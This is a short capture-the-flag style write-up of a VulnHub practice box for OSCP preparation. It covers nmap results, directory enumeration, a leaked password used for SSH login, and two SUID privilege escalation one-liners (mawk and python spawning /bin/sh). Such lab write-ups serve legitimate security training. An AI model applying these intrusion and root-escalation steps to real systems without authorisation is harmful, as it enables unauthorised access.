This box was downloaded from VulnHub and is also on the list of practice boxes for OSCP preparation. The box involved the following steps:
- Enumeration of port 80
- Gobuster for directory enumeration
- SUID binary exploitation for privilege escalation
I always start with an autorecon scan. Initial nmap scan results are as below:
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.10 ((Debian))
|_http-title: Clean Blog - Start Bootstrap Theme
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000)
MAC Address: 08:00:27:DC:87:15 (Oracle VirtualBox virtual NIC)
TRACEROUTE
HOP RTT ADDRESS
1 0.44 ms 10.0.0.12
I will now move to port 80 web enumeration. A quick gobuster scan resulted in a few interesting directories.
/admin looks like an interesting directory. It consists of a note with a password in it.
So, there is a password 12345ted123. From the password, I guessed the username to be ted. I tried to ssh to the target and was successful.
Looking around cannot find anything interesting. After running the linpeas script. I see there are few interesting avenues for priv escalation.
I will follow both vectors for privilege escalation. Let’s start with /usr/bin/mawk .
Following the online code from gtfobins. I was able to gain a root shell.
/usr/bin/mawk 'BEGIN {system("/bin/sh")}'
Now let’s follow the python avenue. I can see that it has a SUID binary set. When running this python it runs as a root. And I just called system command to run the shell inside the python terminal to get root.
__import__('os').system('/bin/sh')
This box is rated easy and it was fun to perform the exploit.